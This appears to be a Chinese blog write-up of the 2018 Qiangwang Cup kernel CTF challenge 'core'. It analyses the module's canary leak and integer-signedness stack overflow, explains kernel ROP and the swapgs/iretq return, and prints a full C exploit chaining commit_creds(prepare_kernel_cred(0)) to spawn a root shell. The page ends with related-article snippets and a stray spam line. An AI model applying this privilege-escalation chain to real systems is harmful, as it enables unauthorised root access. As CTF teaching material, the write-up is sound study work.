<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Kernel pwn 基礎教學之 Kernel ROP

    一顆小胡椒2022-01-28 14:48:05

    前言

    Kernel ROP本質上還是構造ropchain來控制程序流程完成提權,不過相較于用戶態來說還是有了一些變化,這里選取的例題是2018年強網杯的賽題core,本來覺得學起來會很快的但是沒想到還是踩了不少坑。

    一、題目分析

    本題目環境開始kaslr保護,也就意味著我們需要泄露內存地址,從解壓cpio文件后從init文件中分析出以下關鍵信息

    cat /proc/kallsyms > /tmp/kallsyms
    echo 1 > /proc/sys/kernel/kptr_restrict
    

    這表示著我們雖然不能從/proc/kallsyms中讀內存地址,但是/proc/kallsyms中的地址信息已經導入了/tmp/kallsyms中,所以我們只需要讀取/tmp/kallsyms中的內存地址信息就可以

    然后本題insmod的模塊名是core.ko,也就是我們需要分析的二進制文件。開啟Canary、NX保護,如果要構造ropchain的話需要泄露Canary

    1、core_ioctl

    在core_ioctl中定義了三種功能,根據我們傳參的不同來執行不同的功能:

    0x6677889B:執行core_read函數
    0x6677889C:對全局變量off賦值
    0x6677889A:執行core_copy_func函數
    

    2、core_read


    關鍵點在copy_to_user上,因為在core_ioctl中我們可以直接對全局變量off賦值,所以我們可以利用這個任意偏移信息泄露把Canary的值泄露出來,觀察變量str距離rbp偏移為0x50,而canary距離rbp為0x10,故確定off的值應為0x40即可泄露Canary。

    3、core_write

    這可以將用戶態構造好的ropchain通過core_write賦值到內核態的全局變量name中。

    4、core_copy_func

    可以看到這里的參數size在判斷大小時是按照int64標準來的,但是在進行copy的時候確實按照無符號整數標準來進行的,這里就造成了內核棧的溢出,結合前面的core_write函數我們可以對全局變量name賦值為用戶態的ropchain,那么通過core_copy_func函數即可將ropchain放入內核棧中并造成棧溢出,進而達成控制程序流程提權的目的。

    二、漏洞利用

    這里先說一下kernel rop相較于用戶態rop的不同點吧。在用戶態中我們的目的是為了獲得shell,也就是令程序執行諸如system("/bin/sh")一類的函數,然而到了kernel pwn中我們的目的從原先的getshell變成了提權,也就是執行commit_creds(prepare_kernel_cred(0))

    函數,并且執行完提權函數以后我們需要從內核態返回到用戶態執行system("/bin/sh")獲取root權限的shell才可以,所以在我看來kernel rop變得無非就是兩步:執行提權函數,返回用戶態獲取rootshell。從內核態返回用戶態所需要用到的swapgs指令與iretq指令,前者是在從用戶態進入內核態時,通過交換IA32_KERNEL_GS_BASE 與 IA32_GS_BASE 值,從而得到 kernel 數據結構塊,而從內核態變回用戶態時需要將原先用戶態的信息再交換回來。iretq指令則用來恢復用戶態的cs、ss、rsp、rip、rflags的信息。其具體布局如下所示:

    +-----------+
    |    RIP    |
    +-----------+
    |    CS     |
    +-----------+
    |   rflags  |
    +-----------+
    |    RSP    |
    +-----------+
    |    SS     |
    +-----------+
    

    這里再說一下自己踩到的一個坑吧,也是腦子當時沒有轉過來彎。在計算內核gadget地址的時候我們使用ropper得到的gadget地址需要加上offset才是真實地址,這個和用戶態的一樣很好理解,而這個offset的獲取辦法我在這里簡單說一下

    通過這種方式我們可以通過從/tmp/kallsyms中得到的commit_creds函數的真實地址減去0x9c8e0就可以得到vmlinux_base的地址,而剛才所說的offset就是vmlinux_base減去raw_vmlinux_base,即0xffffffff81000000的值。好了來整理一下我們的利用思路吧:1、通過/tmp/kallsyms文件獲得commit_creds函數與prepare_kernel_cred函數地址,并計算出所需gadget地址。2、對全局變量off賦值0x40,通過core_read函數獲得canary的值。3、構建好ropchain,使用core_write函數將ropchain復制到內核態中

    4、通過core_copy_func函數中的數值溢出造成的棧溢出漏洞,將ropchain放入棧中,退出函數時完成提權并返回用戶態getrootshell。

    EXP:

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #define CORE_READ 0x6677889B
    #define CORE_OFF 0x6677889C
    #define CORE_COPY 0x6677889A
    size_t vmlinux_base, commit_creds, prepare_kernel_cred;
    size_t user_cs, user_ss, user_sp, user_rflags;
    size_t raw_vmlinux_base = 0xffffffff81000000;
    int GetAddress() {
     char *ptr;
     char buf[0x30] = {0};
     FILE* fd = fopen("/tmp/kallsyms","r");
     if (!fd) {
      puts("[-] ERROR.");
      return 0;
     }
     while(fgets(buf, sizeof(buf), fd)) {
      if (commit_creds && prepare_kernel_cred){
       printf("[+] Find: commit_creds: 0x%llx[+] Find: prepare_kernel_cred: 0x%llx", commit_creds, prepare_kernel_cred);
       return 1;
      }
      if (strstr(buf, "commit_creds")) {
       commit_creds = strtoull(buf, ptr, 16);
      }
      if (strstr(buf, "prepare_kernel_cred")) {
       prepare_kernel_cred = strtoull(buf, ptr, 16);
      }
     }
     return 0;
    }
    void SaveStatus() {
     __asm__(
      "mov user_cs, cs;"
      "mov user_ss, ss;"
      "mov user_sp, rsp;"
      "pushf;"
      "pop user_rflags;"
     );
    }
    void GetShell() {
     if (!getuid()) {
      system("/bin/sh");
     }
     else {
      puts("[-] CAN NOT GETSHELL.");
      exit(1);
     }
    }
    void main() {
     size_t rop[0x100];
     char user_buf[0x40] = {0};
     char* ptr;
     int i = 8;
     SaveStatus();
     GetAddress();
     vmlinux_base = commit_creds - 0x9c8e0;
     size_t offset = vmlinux_base - raw_vmlinux_base;
     size_t pop_rdi = 0xffffffff81679ba8 + offset;
     size_t pop_rdx = 0xffffffff810a0f49 + offset;
     size_t mov_rdi_rax = 0xffffffff8106a6d2 + offset; // mov rdi, rax; jmp rdx;
     size_t swapgs = 0xffffffff81a012da + offset;  // swapgs; popfq; ret;
     size_t iretq = 0xffffffff81050ac2 + offset;   // iretq; ret;
     int fd = open("/proc/core", 2);
     if (!fd) {
      puts("[-] OPEN /proc/core ERROR.");
      exit(0);
     }
     
     ioctl(fd, CORE_OFF, 0x40);
     ioctl(fd, 0x6677889B, user_buf); //canary in buf.
     size_t canary = ((size_t*)user_buf)[0];
     printf("[+] Find canary: 0x%llx", canary);
     //commit_creads(prepare_kernel_cred(0));
     rop[i++] = canary;
     rop[i++] = 0;
     rop[i++] = pop_rdi;
     rop[i++] = 0;
     rop[i++] = prepare_kernel_cred;
     rop[i++] = pop_rdx;
     rop[i++] = commit_creds;
     rop[i++] = mov_rdi_rax;
     //swapgs --> iretq: rip, cs, rflags, rsp, ss. GetShell
     rop[i++] = swapgs;
     rop[i++] = 0;
     rop[i++] = iretq;
     rop[i++] = (size_t)GetShell;
     rop[i++] = user_cs;
     rop[i++] = user_rflags;
     rop[i++] = user_sp;
     rop[i++] = user_ss;
     write(fd, rop, sizeof(rop));
        ioctl(fd, CORE_COPY, 0xffffffffffff0000|0x100);
    }
    
    kernel
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    kernel-pwn之ret2dir利用技巧
    Kernel-Pwn-FGKASLR
    2023-07-10 10:24:04
    是KASLR的加強版,增加了更細粒度的地址隨機化
    Kernel PWN從入門到提升
    2023-03-23 10:17:57
    所以我決定用此文章結合一道不錯的例題盡可能詳細的來講一下kernel pwn從入門過渡到較高難度的部分,供想要學習kernel pwn的小伙伴們參考。文件系統kernel題一般都會給出一個打包好的文件系統,因此需要掌握常用到的打包/解包命令。
    可是當我們開啟了smap保護之后,內核態就沒有辦法訪問用戶態的數據,此時當我們再hijack tty_operation到我們的用戶態時,我們的kernel就會panic,更別說劫持執行流到用戶態上執行rop了。當我們調用msgsnd時,在linux內核中會調用do_msgsnd。
    然而在內核態中,堆內存的分配策略發生了變化。并把這個slab劃分為一個個object,并將這些object組成一個單向鏈表進行管理,這里需要注意slub系統把內存塊當成object看待,而不是伙伴系統中的頁。本次選擇演示的例題是2019-SUCTF的sudrv例題,查看start.sh中的信息可以發現開啟了kaslr保護與smep保護。
    條件競爭類型的漏洞
    筆者分享的兩種利用方式都不算困難,但是需要注意
    前言Kernel ROP本質上還是構造ropchain來控制程序流程完成提權,不過相較于用戶態來說還是有了一些變化,這里選取的例題是2018年強網杯的賽題core,本來覺得學起來會很快的但是沒想到還是踩了不少坑。iretq指令則用來恢復用戶態的cs、ss、rsp、rip、rflags的信息。
    Kernel從0開始
    2021-12-10 13:42:20
    網上一大堆教編譯內核的,但很多教程看得特別迷糊。第一次編譯內核時,沒設置好參數,直接把虛擬機編譯炸開了。所以就想著能不能先做個一鍵獲取內核源碼和相關vmlinux以及bzImage的腳本,先試試題,后期再深入探究編譯內核,加入debug符號,所以就有了這個一鍵腳本。
    Kernel pwn CTF 入門 – 1
    2021-10-21 16:39:08
    01簡介內核 CTF 入門,主要參考 CTF-Wiki。02環境配置調試內核需要一個優秀的 gdb 插件,這里選用 gef。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类